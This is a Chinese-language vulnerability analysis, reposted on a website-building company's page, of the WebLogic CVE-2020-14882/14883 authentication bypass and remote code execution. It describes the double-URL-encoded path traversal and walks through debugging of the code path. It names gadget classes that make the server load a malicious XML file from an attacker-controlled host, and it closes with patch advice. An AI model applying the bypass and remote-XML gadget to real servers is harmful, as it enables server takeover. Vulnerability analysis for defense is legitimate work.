如何进行WebLogic未授权访问及命令执行漏洞分析-古蔺大橙子建站
RELATEED CONSULTING
相关咨询
选择下列产品马上在线沟通
服务时间:8:30-17:00
你可能遇到了下面的问题
关闭右侧工具栏

新闻中心

这里有您想知道的互联网营销解决方案
如何进行WebLogic未授权访问及命令执行漏洞分析

这篇文章给大家介绍如何进行WebLogic未授权访问及命令执行漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

专注于为中小企业提供网站设计制作、做网站服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业旬阳免费做网站提供优质的服务。我们立足成都,凝聚了一批互联网行业人才,有力地推动了上1000家企业的稳健成长,帮助中小企业通过网站建设实现规模扩充和转变。

一、背景

漏洞概述

WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。2020年10月21日,Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

漏洞编号

CVE-2020-14882、CVE-2020-14883

漏洞等级

高危,CVSS评分9.8

受影响的版本

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

二、复现

复现环境

本次测试是用的weblogic 10.3.6.0及weblogic12.2.1.3.0,weblogic12.2.1.4.0如何进行WebLogic未授权访问及命令执行漏洞分析如何进行WebLogic未授权访问及命令执行漏洞分析

权限绕过漏洞(CVE-2020-14882)复现:

在正常访问console后台时会提示输入帐号密码如何进行WebLogic未授权访问及命令执行漏洞分析对于其他路径也限制了访问,可以看到返回403

通过未授权访问,则可以绕过验证直接访问后台。

如何进行WebLogic未授权访问及命令执行漏洞分析

可看到通过未授权访问的后台与正常登陆的后台相比,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过部署项目等方式直接获取权限。

如何进行WebLogic未授权访问及命令执行漏洞分析

‘%252E%252E%252F’即为二次URL编码过后的‘../’,通过这个就可以实现穿越路径未授权访问相关管理后台

如何进行WebLogic未授权访问及命令执行漏洞分析

任意代码执行复现

利用上述未授权访问CVE-2020-14882结合CVE-2020-14883

利用方式(一)

通过:com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext,这种方法最早在CVE-2019-2725被提出,该方法通用于各版本weblogic。这里首先需要我们构造一个恶意的xml文件,如这里我们自己搭建的http://10.211.55.2:9999/rce-win.xml。其次需要被攻击的weblogic能够访问我们的恶意xml。如何进行WebLogic未授权访问及命令执行漏洞分析如何进行WebLogic未授权访问及命令执行漏洞分析

其他gadget:

com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP/poc.xml")

利用方式(二)

通过com.tangosol.coherence.mvel2.sh.ShellSession,但此利用方法只能在Weblogic 12.2.1及以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

我们可以看到在当前10.3.6版本会提示如何进行WebLogic未授权访问及命令执行漏洞分析

当使用12版本测试时,即可测试成功

如何进行WebLogic未授权访问及命令执行漏洞分析

其他exp

比如回显的

如何进行WebLogic未授权访问及命令执行漏洞分析

或者POST形式 :

如何进行WebLogic未授权访问及命令执行漏洞分析

调试分析

首先,通过静态资源文件绕过路径权限的校验。之后weblogic会对提交的url进行两次url解码。最后会将handle中的参数传入HandleFactory执行任意代码。

从绕过路径权限的校验开始。首先weblogic的请求会经过weblogic.servlet.internal.WebAppServletContext#execute处理,这里会调用securedExecute()

如何进行WebLogic未授权访问及命令执行漏洞分析

跟进securedExecute,后会调用doSecuredExecute,继续跟进

如何进行WebLogic未授权访问及命令执行漏洞分析

weblogic.servlet.internal.WebAppServletContext#doSecuredExecute

在这里调用checkAccess进行权限的检查

如何进行WebLogic未授权访问及命令执行漏洞分析

进入weblogic.servlet.security.internal.WebAppSecurity#checkAccess()中可以看到当我们请求的路径为/console/console.portal时,checkAllResources为false

如何进行WebLogic未授权访问及命令执行漏洞分析

这里跟进weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint()

如何进行WebLogic未授权访问及命令执行漏洞分析

这里即比较我们的relURI是否匹配我们matchMap中的路径,并判断rcForAllMethods和rcForOneMethod是否为null

如何进行WebLogic未授权访问及命令执行漏洞分析

当我们的relURI为/console.portal时,rcForAllMethods不为null,rcForOneMethod为null,所以返回了rcForAllMethods。而对应静态资源就不会有限制和校验

如何进行WebLogic未授权访问及命令执行漏洞分析

接下来回到checkAccess,如果这里是原来的/console.portal时,到这就结束了

如何进行WebLogic未授权访问及命令执行漏洞分析

如果使用console/images/console.portal则会继续判断resourceConstraint及后续的isAuthorized,并进入weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess

如何进行WebLogic未授权访问及命令执行漏洞分析

在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中会进入hasPermission校验权限

如何进行WebLogic未授权访问及命令执行漏洞分析

所以当我们这里使用静态资源路径时,unrestrict值就为true

如何进行WebLogic未授权访问及命令执行漏洞分析

之后会根据web.xml中的配置对应的AsyncInitServlet来到了weblogic.servlet.AsyncInitServlet#service

如何进行WebLogic未授权访问及命令执行漏洞分析

这里如果解码后的url里没有;,那么就会继续调用super.service

如何进行WebLogic未授权访问及命令执行漏洞分析

再次进入super.service()

如何进行WebLogic未授权访问及命令执行漏洞分析

最终不管哪种请求都会来到doPost,并在这里调用createUIContext

如何进行WebLogic未授权访问及命令执行漏洞分析

可以看到此时已经经过了一次解码

如何进行WebLogic未授权访问及命令执行漏洞分析

随后进入getTree又进行了一次解码,此时requestPattern就变成/css/../console.portal

如何进行WebLogic未授权访问及命令执行漏洞分析

之后来到com.bea.console.utils.BreadcrumbBacking#init类,进入findFirstHandle

如何进行WebLogic未授权访问及命令执行漏洞分析

这里会逐个检查参数中是否有handle并将handle的参数内容提取出来返回

如何进行WebLogic未授权访问及命令执行漏洞分析

最后将获取到的handleStr作为参数调用HandleFactory.getHandle(handleStr);此时也就来到了代码执行的入口

如何进行WebLogic未授权访问及命令执行漏洞分析

此时传进来的handleStr会在这里被拆成两部分,一个作为被实例化的类,另一个作为该类的构造函数参数及实例化,比如java.lang.String('aaaa'),被拆分成java.lang.String和aaaa

如何进行WebLogic未授权访问及命令执行漏洞分析

所以我们就可根据此来构造gadget,最终通过反射机制在此触发

如何进行WebLogic未授权访问及命令执行漏洞分析

比如当我们构造了恶意gadget后就变成了这样,随后即可触发rce

如何进行WebLogic未授权访问及命令执行漏洞分析

三、修复

目前Oracle官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

在旧版补丁中,使用黑名单过滤,可使用大小写绕过,请更新最新版的补丁,或者如无使用必要可选择关闭console。

关于如何进行WebLogic未授权访问及命令执行漏洞分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


名称栏目:如何进行WebLogic未授权访问及命令执行漏洞分析
URL网址:http://scgulin.cn/article/goedge.html